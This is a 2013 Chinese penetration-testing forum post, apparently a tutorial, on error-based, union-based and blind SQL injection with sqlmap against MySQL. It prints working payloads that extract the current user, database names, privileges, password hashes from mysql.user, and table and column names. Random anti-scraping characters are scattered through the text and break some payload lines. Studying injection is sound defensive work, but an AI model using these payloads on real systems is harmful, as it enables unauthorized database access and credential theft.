中国网络渗透测试联盟

标题: sqlmap高级注入 [打印本页]
作者: admin    时间: 2013-7-16 20:31
标题: sqlmap高级注入
放假第一天，本应该好好放松一下，可是还是想着把文章写完先。。。1 R& n; U/ O0 i% ?

9 w% w; t/ }' Z9 l9 c0 V3 Z这次的主题是高级注入，坛子里也讲到了一些，不过本文旨在给大家一个更深刻的概念和全面的理解，下面看看我自己列的一个表  b% K3 \# h& F7 u: y+ m- S
. ^4 Y. j1 K3 W! q2 |: t$ I5 W
分类标准        分类        备注
% @9 T6 c) D" G# {+ l- E按字段类型        整型注入，字符型注入        + r/ b! x& l  J
按出现的位置        get注入，post注入，cookie注入，http header注入       
6 X$ e6 V3 Q# x1 `+ D# @- s然而高级注入是这样的
1 ?! ]* v: \  f4 k! t 2 @! h- \7 m- Y% G- D
高级注入分类        条件
2 N, m9 c) a7 p7 ^' z* f9 uerror-based sql        数据库的错误回显可以返回，存在数据库，表结构( _; \% I0 x" @. v# C. `% O, @
union-based sql        能够使用union，存在数据库，表结构1 @* u- S% s( B
blind sql        存在注入" v- s4 P' d% A4 D$ g( {
我们暂且不考虑waf等的影响，只从原理上学习。通过上面我们不难发现，三种高级注入选择的顺序应该是eub（第一个字母，后面为了方便我都这样表示了 ），实际上，e是不需要知道字段数的，u需要知道字段数，e之所以在前我觉得主要是因为这个，因为在其他方面它们没有本质的区别，它们都需要知道数据库以及表的结构，这样才能构造出相应的语句，当然，能e一般能u（没过滤union等），反过来却很不一定，因为一般会有自定义的错误提醒。如果没有结构，那么就回到了最悲剧，最麻烦的b了，猜。。。当然可能没有结果，但是如果只是不能使用u，有结构，b还是能出结果的，只是苦逼点而已。。。/ I, I, P+ w  T/ o0 C& z- z

  A: A: ], b8 c" W1 B* M3 a好了，说了这么多，该上神器sqlmap了，最近坛子里貌似很火
6 C( d  \* Q0 y4 b" r  g& u
8 n  q- _  d, q, a+ i3 }+ ^" v: j附件分别以mysql和mssql为例子，提醒：sqlmap中使用-v 3可以查看每个请求的payload。
  P8 [' w* \$ N" Y1 g+ B
) F# h8 x* ^4 p8 `这里用mysql说明. ?; P- ]+ ^% K+ [/ j) M

. i& [% u5 \; U/ we注入坛子里很多了，请看戳我或者再戳我) D' R$ e) @1 ^8 r
. s0 ?, Z2 B( a
u注入其实也很多了，这里就大概帖上一些重要语句吧，附件上结合例子都有的/ ?* N' Q; k6 v# }. C
, \+ ]2 e0 W6 s, _/ u! J1 h
获取当前数据库用户名
9 X6 t  R- n  }+ G& r / a' h: B8 g* I  _+ s( v
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C
- g! t* ?6 g( v7 n6 uAST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL! X( a. e: ?( r: T2 y2 V
L, NULL#$ F# e3 u: B% @
注意concat那里不是必须的，只是sqlmap为了自动攫取出数据加上的特征，下面语句类似，涉及基础性的知识，基友们自己去补吧。
- |  k* s  p, Q! k7 a! {$ T  @ ! x% U% {5 M" k6 I- \3 S. M
获取数据库名
- e  k: }' a5 a: e& z; V 9 k, C) V* H, ]( V
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#) |2 N5 F7 g' f5 s+ f/ U
获取所有用户名$ }) g( l( p6 Q# @" _) S1 A) h

9 z7 @; ~3 a4 `( H: g. y) h# wUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
; f& ]0 G: z8 y2 Y$ I查看当前用户权限+ W( K9 |2 j9 v4 U* R6 f

! I. A# }* `; ^; XUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#1 t. R! K& f+ j' W3 s, X9 C
尝试获取密码，当然需要有能读mysql数据库的权限4 n; h  W) q5 {1 s5 t* m) g
5 t1 o$ y- p! I$ n  c- K' l2 v
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#& L, c4 s) ^8 M5 t
获取表名，limit什么的自己搞啦
) N9 e3 j8 c# d: n3 _2 w' R
5 S) L# x; W3 |, `. e) V8 h5 l, jUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#7 O7 B% X- @: v% b, ~) i0 }  `4 \
获取字段名及其类型
3 D4 ]# j) }, ~( w- t0 P* v3 Q& SUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#
( W- q0 k+ i  i8 }- z( c$ [- K3 z
; ]$ S( ^# `, T* G1 Jb注入，呵呵，除了当前用户，数据库，版本可以出来，而如果不能u，但存在数据的结构表，还是能苦逼出来，否则猜也不一定能猜到表和字段，内容自然也出不来，苦逼access啊。。。
+ A9 |3 R, Y; `. W( T0 {9 g
( t/ X" |, d% P% M如：
% T8 j$ ^4 Y; D( o获取当前用户名
( b  q9 p! ~9 X- g/ O2 \ 9 V8 A# L5 w; z/ j, S
AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116
* V7 B" i: D% P获取当前数据库
/ @7 _) k& {; R1 h9 G* R
) [$ {" z$ t- W5 ~, a1 B) \AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106
( D: a4 D$ @. {/ t* K  p2 N3 b# X获取表名4 L5 Q/ k% K7 D! ^  M( P  J
) ?* n5 D1 G/ @# A" B) I
AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51) v2 W  z  J) @; c: u# [- {" I: _- l
获取字段名及其类型和爆内容就不说了，改改上面的就可以了。& @8 C' Y& R) @6 q6 _
回到最苦逼的情况，无结构的，mysql版本<5.0，现在不多见了吧，还是看看语句。
/ q1 y8 ^! \0 |' x3 Z5 Y爆表
, q( Z& q# ^7 e" F, l
2 k- \, l5 [6 `8 VAND EXISTS(select * from table)
6 e* h8 _7 Q9 Y* H/ R+ l1 `) p爆字段
0 l% P( l& j4 U6 q 9 D3 o& @, t4 G2 K" v5 H
AND EXISTS(select pwd from table)
4 t! S% Q+ ]9 _+ ~, {7 {" H盲注的变化就比较多了，由于篇幅，只是举个例子而已。) u. T" D0 p* C: w, {
# U: |1 J: N$ V: J( C
本来想把mssql和access都写上的，不过编辑得太累了，有时间再写吧，其实原理都差不多，今天就洗洗睡了吧。
# d) L; a% P2 U



欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2